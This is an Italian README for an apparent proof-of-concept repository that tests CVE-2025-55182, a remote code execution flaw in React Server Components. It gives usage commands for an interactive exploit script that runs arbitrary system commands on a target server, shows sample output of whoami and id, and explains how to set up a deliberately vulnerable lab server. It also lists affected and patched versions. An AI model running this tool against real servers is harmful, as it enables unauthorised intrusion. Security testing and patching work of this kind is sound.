
CVE-2025-55182 Programma di test RCE React
Programma di test RCE React per CVE-2025-55182
Questo script è uno strumento di verifica delle vulnerabilità per CVE-2025-55182, una grave vulnerabilità di esecuzione remota di codice (RCE) presente in React Server Components (RSC) di React 19.x.
Questo strumento determina se la vulnerabilità è presente su un server reale e, a seconda delle opzioni, può eseguire comandi, registrare log oppure testare anche con la modalità RCE in due fasi (module#_load).
⚠️ Questo strumento deve essere utilizzato solo in ambienti di test chiusi e esclusivamente a scopo di audit di sicurezza e verifica delle vulnerabilità.
| Voce | Dettaglio |
|---|---|
| Numero vulnerabilità | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Nome vulnerabilità | React2Shell |
| Tipo di vulnerabilità | Esecuzione remota di codice (RCE) – nessuna autenticazione richiesta |
| Gravità (CVSS) | 10.0 (Critica) |
| Data di scoperta | 2025-11-29 (Lachlan Davidson) |
| Difficoltà di attacco | Molto bassa (livello Log4Shell) |
| Descrizione della vulnerabilità | Vulnerabilità RCE strutturale che, durante l'elaborazione della deserializzazione Flight, consente l'accesso alla catena del prototipo (constructor, __proto__) tramite la notazione a parentesi della funzione requireModule() |
✅ I progetti che includono funzionalità RSC devono aggiornare alla versione più recente anche i moduli
react-server-dom-*, oltre a React, per essere al sicuro.
CVE-2025-55182/
├── README.md # 전체 개요 및 스캐너 사용법
├── DETECTION_RULES.md # 탐지/차단용 규칙 모음
├── 설명 및 탐지규칙.md # 한글 탐지 규칙 설명
├── cve_2025_55182_interactive.py # RCE 검증 스캐너 스크립트
├── requirements.txt # 스캐너 의존성 목록
├── setup_vulnerable_env.sh # 취약 환경 일괄 설치 스크립트
├── uninstall_vulnerable_env.sh # 취약 환경 정리/제거 스크립트
└── vulnerable-react-env/ # React2Shell 취약 서버 실습용 코드
├── README.md # 실습 환경 사용법
├── package.json # npm 스크립트 및 의존성
├── server.js # 취약한 Express 백엔드
├── public/
│ └── index.html # CDN 기반 React 프런트엔드
└── .gitignore
✅ Test interattivo per verificare se l'RCE è possibile su un server vulnerabile
✅ Supporto della modalità child_process#execSync (predefinita) o module#_load
✅ Salvataggio dei risultati dei comandi in un file di log
✅ Invio al server dei comandi di sistema inseriti direttamente dall'utente
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
Test RCE di base (modalità execSync)
child_process.execSync()python cve_2025_55182_interactive.py http://localhost:3000 --rceTest RCE in due fasi (modalità module#_load)
module#_loadpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadTest RCE basato su RSC (opzione --rce2)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2Salvataggio dei risultati dei comandi in un file di log
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.logLa cartella vulnerable-react-env contiene un server React + Express deliberatamente vulnerabile in grado di riprodurre CVE-2025-55182.
./setup_vulnerable_env.sh, in un'unica operazione vengono completati: installazione dei pacchetti apt → installazione di nvm/Node.js 20 → npm install.cd vulnerable-react-env && npm start oppure npm run dev.npm run verrà mostrato solo l'elenco degli script. Assicurarsi di specificare il nome dello script, ad esempio npm start (o npm run start)../uninstall_vulnerable_env.sh è possibile rimuovere node_modules, i payload moduleLoad e (facoltativamente) Node 20 e nvm.ERR_MODULE_NOT_FOUND: Cannot find package 'express', installare node_modules con cd vulnerable-react-env && npm install e quindi eseguire di nuovo npm start.⚠️ Vietato l'uso per scopi diversi da ricerca/istruzione. Non esporlo su Internet.
💬 Comando di sistema da inserire: whoami
✅ Codice di risposta: 200
📄 Contenuto della risposta: {"success":true,"result":"www-data"}
💬 Comando di sistema da inserire: id
✅ Codice di risposta: 200
📄 Contenuto della risposta: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 Comando di sistema da inserire: exit
👋 Uscita.
❌ Non utilizzare mai in ambienti di produzione.
✅ Questo script deve essere utilizzato solo in ambienti di test locali o in VM isolate.
🛠️ La modalità --method moduleLoad crea un file reale in /tmp/evil.js.
🧾 Se si utilizza l'opzione --log, l'output viene salvato in chiaro, quindi limitare l'accesso al file.
🔐 Ogni richiesta verifica l'effettiva esecuzione di codice JavaScript sul server vulnerabile.
CVE ufficiale: CVE-2025-55182
Metodi di exploit:
Flusso dell'attacco:
Questo progetto è fornito esclusivamente a scopo di ricerca sulla sicurezza, audit e test,
l'uso non autorizzato su sistemi reali è illegale.
Ogni responsabilità legale derivante dall'uso di questo strumento ricade interamente sull'utente.
| Prodotto/Strumento | Versioni vulnerabili | Versioni corrette |
|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | come sopra (↑) | come sopra |
| react-server-dom-parcel | come sopra (↑) | come sopra |
| react-server-dom-turbopack | come sopra (↑) | come sopra |
| Next.js 14 | alcune versioni a partire dalla 14.3.0.canary.77 | (ufficiosamente) si consiglia di passare alla 15.0.5 o superiore |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| Altri strumenti | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin, ecc. | È necessario applicare la patch alle dipendenze RSC del relativo progetto |
Utilizzo completo delle funzionalità (modalità + log)
moduleLoad e del salvataggio del logpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logOutput di debug del payload
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugsudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (porta predefinita: 3000)http://localhost:3000 dal browser e inviare _payload e cmd tramite il modulovulnerable-react-env/README.md